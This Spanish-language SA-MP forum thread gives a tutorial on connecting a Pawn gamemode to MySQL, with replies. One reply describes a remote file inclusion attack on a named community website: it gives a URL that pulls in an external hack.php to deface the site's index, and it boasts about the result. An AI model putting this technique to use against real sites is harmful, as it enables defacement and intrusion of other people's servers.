SA-MP Forums

Go Back   SA-MP Forums > Non-English > Languages > Español/Spanish

 
 
Thread Tools Display Modes
Old 16/06/2010, 04:33 PM   #1
DarkChildren
Gangsta
 
DarkChildren's Avatar
 
Join Date: Oct 2009
Location: España
Posts: 684
Reputation: 9
Default Información completa del uso del MySQL en SA-MP

MySQL - SAMP


[b]En esta guia les voy a explicar mas o menos como funciona el MySQL en samp y como trabajar en él para hacer una base de datos del GM. Lo primero que todo son los archivos que vamos a usar, en el siguiente pack, van a tener todo lo necesario para hacer uso de MySQL en samp.

=> http://www.mediafire.com/?dfhma5noymw

Hare de cuenta que todos aquellos que vayan a hacer uso practico de esta guia, tengan instalado MySQL y el server samp, funcionando sin ningun problema, y por lo menos tengan un minimo de conocimientos en el uso de base de datos mysql y conocimientos en samp y pawn, bien lo primero que vamos a hacer será ubicar cada uno de nuestros archivos contenidos en el pack anterior en sus respectivos lugares y configurar samp a su debida manera.

=> a_mysql.inc

Este archivo es el .inc, necesario para poder hacer uso de el plugin que mas adelante vamos a hablar; el a_mysql.inc lo vamos a copiar en la carpeta include en pawno (.\PAWNO\include\), ya con eso es suficiente para que pawno lo reconosca tanto en el editor como el compilador.

=> sampmysql.dll

Este archivo .dll, es el plugin que va a usar el .inc anteriormente dicho, lo vamos a ubicar en la carpeta plugins, despues de esto abrimos el archivo de configuración server.cfg, y en la linea donde dice plugins, al lado ponemos el mismo nombre del archivo en este caso, sampmysql, cerramos y guardamos el archivo server.cfg.

=> libmysql.dll

El siguiente archivo es la libreria original de MySQL, es necesaria para que el plugin sampmysql, haga uso de sus funciones internas para comunicarse con la base de datos. Lo unico que tenemos que hacer es copiarlo a la carpeta raiz del server, junto a los archivos server.cfg y samp-server.exe.

=> mysql.pwn

Este ultimo archivo no es ningun FS, es un archivo que contiene las funciones en pawn, que facilitan el uso de el .inc junto con el plugin, lo pueden ubicar en la carpeta gamemodes, despues para hacer uso de este es necesario llamarla por medio de #include dentro del GM principal, vamos a agregamos estas lineas justo debajo de #include <a_samp>:

pawn Code:
#include <a_mysql>#define MAX_STRING 255#define MYSQL_HOST "127.0.0.1"#define MYSQL_USER "root"#define MYSQL_PASS ""#define MYSQL_DB "samp"


[b]-MYSQL_HOST: La ip donde está ubicado la base de datos MySQL.
-MYSQL_USER: El usuario para ingresar a la base de datos.
-MYSQL_PASS: La contraseña del usuario.
-MYSQL_DB: El nombre de la base de datos.

Despues de todo esto, es necesario agregar una base de datos llamada samp, y en ella agregar una tabla llamada players, y en ella agregar ID, NOMBRE, CLAVE como principales, como llave principal usar ID, ya despues pueden agregar otra como DINERO, BANCO, etc.

NOTA: No explico como agregar esto, puesto que me extenderia mucho, y se son cosas basicas que todos aquellos que quieran hacer uso de MySQL necesitan saber, pueden usar PhpMyAdmin, u otro programa recomendable como SQL Maestro

Bueno ya con eso tenemos todo configurado y listo para hacer uso, mas adelante les voy a explicar de forma breve cada función, contenida dentro de mysql.pwn.

=> MySQLConnect(sqlhost[], sqluser[], sqlpass[], sqldb[])

Bueno esta funcion es simple, y su función es conectarse con la base de datos, su parametros no tienen mucho misterio, son sqlhost para la ip del host del MySQL, sqluser para el usuario, sqlpass la contraseña, y sqldb para el nombre de la base de datos. Esta funcion va ubicada en el callback OnGameModeInit().

=> MySQLDisconnect()

Su función es desconectar de forma segura el server con la base de datos, principalmente va ubicado en el callback OnGameModeExit().

=> MySQLCheckConnection()

Su función es hacer un chequeo de conexión con la base de datos, puede ser usada en cualquier lado del GM, pero principalmente se usa cuando se va a hacer un query.

=> MySQLUpdateBuild(query[], sqlplayerid)

Esta función no es usada manualmente, la usa otra función para armar un query, esto para actualizar un dato en alguna tabla en la base de datos.

=> MySQLUpdateFinish(query[], sqlplayerid)

Al igual que la anterior no la vamos a usar manualmente, va a ser usada por otras funciones para facilitar mas el codigo, su principal función es para cerrar un query.

=> MySQLUpdatePlayerInt(query[], sqlplayerid, sqlvalname[], sqlupdateint)

Su función es actualizar un valor de tipo numerico, entero, es decir sin decimales.

=> MySQLUpdatePlayerFlo(query[], sqlplayerid, sqlvalname[], Floatqlupdateflo)

Su función es actualizar un valor de tipo flotante, es decir con decimales.

=> MySQLUpdatePlayerStr(query[], sqlplayerid, sqlvalname[], sqlupdatestr[])

Su función es actualizar un valor de tipo texto, nombre, etc.

=> MySQLCheckAccount(sqlplayersname[])

Su función es chequear en la base de datos si un nombre se encuentra, si es asi regresa el numero de ID correspondiente.
Nota: Esta id no es la misma que la playerid, es una id unica que identifica el nombre en la base de datos.

=> MySQLFetchAcctSingle(sqlplayerid, sqlvalname[], sqlresult[])

Esta lo que hace es retornar un valor de tipo cadena, es decir texto, de la base de datos, puede hacer retornar tanto un numero decimal como uno no decimal, solo que para poder hacer uso de este, necesita ser convertido de str a int o str a float. Sus parametros son sqlplayer, que es la id del jugador correspondiente que lo identifica en la base de datos, sqlvalname, es el nombre de la tabla de donde quiere sacar el valor, por ejemplo DINERO, y sqlresult, es lo que devuelve, recordar que siempre lo retorna en tipo String, o cadena.

=> MySQLCreateAccount(newplayersname[], newpassword[])

Su función es crear una cuenta de algun jugador, en newplayersname va el nombre del jugador, y en newpassword va la clave para que despues pueda entrar.

=> CheckMYSQL()

Su funcion es chequear si hay señal de conexión con la base de datos, y si es posible conectarse a ella, por lo general va antes de MySQLConnect(sqlhost[], sqluser[], sqlpass[], sqldb[]).

=> SQL(sqlid, query[])

Esta función retorna de forma facil algun valor en tipo String, tiene la misma función de MySQLFetchAcctSingle(sqlplayerid, sqlvalname[], sqlresult[]), pero está me parece mas facil para usar en todo el codigo, sqlid, la id del jugador en la base de datos, query, el nombre de la tabla de donde quiere sacar el valor. Al igual que en la anterior esta retorna un valor de tipo cadena, ya despues se puede convertir en Int o Float, por ejemplo:


pawn Code:
New Dinero = strval(SQL(PlayerInfo[playerid][pSQLID], "DINERO"));


=> UpSQLInt(sqlid, variable[], valor)

Esta función actualiza un valor de tipo Integer, sus parametros son simples, sqlid, la id del jugador en la base de datos, variable, el nombre de la tabla, valor, el valor nuevo que se va a agregar.

Ejemplo:


pawn Code:
UpSQLInt(PlayerInfo[playerid][pSQLID], "DINERO", 25000);


=> UpSQLStr(sqlid, variable[], valor[])

Esta función actualiza un valor de tipo String, sus parametros son simples, sqlid, la id del jugador en la base de datos, variable, el nombre de la tabla, valor, el texto nuevo que se quiere agregar.

Ejemplo:


pawn Code:
UpSQLStr(PlayerInfo[playerid][pSQLID], "CIUDAD", "LibertyCity");


=> UpSQLFlo(sqlid, variable[], Float:valor)


Esta función actualiza un valor de tipo Float, sus parametros son simples, sqlid, la id del jugador en la base de datos, variable, el nombre de la tabla, valor, el valor flotante nuevo que se quiere agregar.

Ejemplo:

pawn Code:
UpSQLFlo(PlayerInfo[playerid][pSQLID], "VIDA", 75.3);


Esta guia tambien la hago, por que R3spawn, quería consultar sobre el MySQL (Si mal acuerdo xD..)

Bueno eso es principalmente todo lo necesario para empezar a usar MySQL en sus GMs. Espero que les sirva, puesto que e visto a mucha gente con la necesidad de guardar sus registros de jugadores en una base de datos.


Informacion Aportada por Rasis.
__________________
Aprende a ser tu mismo

Last edited by DarkChildren; 07/05/2013 at 08:12 PM.
DarkChildren is offline  
Old 16/06/2010, 08:33 PM   #2
TheChaoz
High-roller
 
TheChaoz's Avatar
 
Join Date: Dec 2009
Location: Argentina
Posts: 4,656
Reputation: 239
Default Re: Información completa del uso del MySQL en SA-MP

muy bueno che, a muchos les va a ser de gran utilidad.
__________________
TheChaoz is offline  
Old 16/06/2010, 08:35 PM   #3
MrDeath537
High-roller
 
Join Date: Nov 2009
Location: Argentina
Posts: 2,007
Reputation: 29
Default Re: Información completa del uso del MySQL en SA-MP

Muy util . Pero... COMO CARA$% instalo el MySQL? Es lo que nunca supe ya lei mucho y se bastantes cosas sobre el pero nadie me dijo como instalarlo :\
__________________
Sometimes I return.
MrDeath537 is offline  
Old 17/06/2010, 11:53 PM   #4
TEMPORAL100
Little Clucker
 
Join Date: Jun 2010
Posts: 1
Reputation: 0
Default Re: Información completa del uso del MySQL en SA-MP

el archivo ya no esta
TEMPORAL100 is offline  
Old 18/06/2010, 09:59 AM   #5
xenowort
High-roller
 
xenowort's Avatar
 
Join Date: Nov 2009
Location: en mi casa
Posts: 1,767
Reputation: 1
Default Re: Información completa del uso del MySQL en SA-MP

Todos aprenden facil eso, pero todos caen cuando estan haciendo la web en php XD.

y en ese momento estoy yo! xD
__________________
Esta cuenta esta cerrada, ya que no juego mas samp.
xenowort is offline  
Old 18/06/2010, 11:50 AM   #6
Cesar_Biker
Gangsta
 
Cesar_Biker's Avatar
 
Join Date: Nov 2009
Location: Linux Kernel
Posts: 678
Reputation: 0
Default Re: Información completa del uso del MySQL en SA-MP

Quote:
Originally Posted by xenowort
Todos aprenden facil eso, pero todos caen cuando estan haciendo la web en php XD.

y en ese momento estoy yo! xD
Y zas, injection.
__________________
Cesar_Biker is offline  
Old 20/06/2010, 09:03 AM   #7
Rax0r
Little Clucker
 
Join Date: Dec 2009
Posts: 26
Reputation: 0
Default Re: Información completa del uso del MySQL en SA-MP

Otra cosa muy importante que debes de agregar: El MySQL no es estable en pawno.

Gente que juega LS-RP lo habrá podido notar.

Un saludo
__________________
No'Limits RP .. Regresa más fuerte que nunca

http://www.nolimits-rp.com

178.63.131.210:7777

Rax0r is offline  
Old 20/06/2010, 11:02 AM   #8
Cesar_Biker
Gangsta
 
Cesar_Biker's Avatar
 
Join Date: Nov 2009
Location: Linux Kernel
Posts: 678
Reputation: 0
Default Re: Información completa del uso del MySQL en SA-MP

Quote:
Originally Posted by Rasis
Otra cosa muy importante que debes de agregar: El MySQL no es estable en pawno.

Gente que juega LS-RP lo habrá podido notar.

Un saludo
Depende de como lo hagas.
Otra cosa es que los de ls-rp dejen algún "agujero" en sus scripts(ya sean de la web o del servidor) que pueda dar un error, y ese error podría ser utilizado para averiguar el usuario de la BD o las tablas y ...
__________________
Cesar_Biker is offline  
Old 20/06/2010, 12:13 PM   #9
xenowort
High-roller
 
xenowort's Avatar
 
Join Date: Nov 2009
Location: en mi casa
Posts: 1,767
Reputation: 1
Default Re: Información completa del uso del MySQL en SA-MP

Quote:
Originally Posted by Dennis Ritchie & Brian Kernighan
Quote:
Originally Posted by Rasis
Otra cosa muy importante que debes de agregar: El MySQL no es estable en pawno.

Gente que juega LS-RP lo habrá podido notar.

Un saludo
Depende de como lo hagas.
Otra cosa es que los de ls-rp dejen algún "agujero" en sus scripts(ya sean de la web o del servidor) que pueda dar un error, y ese error podría ser utilizado para averiguar el usuario de la BD o las tablas y ...
Claro utilizando RFI, remote file inclussion solo pasa en php, porque permite incluir archivos externos mediante include() yo en la pagina de fenixzone podria hacer esto

http://www.fenixzone.com/samp/index....t.com/hack.php

el archivo hack.php es un script que escribe en el index de la pagina de fenixzone "Este sv fue hackeado por xenowort"
Porque paso esto? porque simplemento ellos dejaron el safe_mode de php "OFF", eso es un gran agujero de seguridad, ademas de ser uno de los hacks mas divertidos xD, o podrias en el link poner otra pagina y en el index de fenixzone apareceria esa pagina. Eso explica el tema que habian hecho de que n3pturno habia hackeado, que no es el verdadero n3ptuno.
Cosa que en ASP CGI, no pasa porque no permiten incluir archivos externos a el host.
__________________
Esta cuenta esta cerrada, ya que no juego mas samp.
xenowort is offline  
Old 19/11/2010, 05:37 AM   #10
Elpiezas
Huge Clucker
 
Join Date: Jul 2010
Posts: 198
Reputation: -1
Default Respuesta: Información completa del uso del MySQL en SA-MP

alguien sabe como podria poner la estadistica de mi server en la web?
osea poner Jugadores Conectados : (la cantidad de players online)
Elpiezas is offline  
 

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
[Help][Mysql]Connecting to Mysql from the script.. Mowgli Help Archive 8 24/07/2011 03:44 PM
Mysql iJumbo Help Archive 2 12/05/2010 01:13 PM


All times are GMT. The time now is 07:57 PM.


Powered by vBulletin® Version 3.8.6
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd.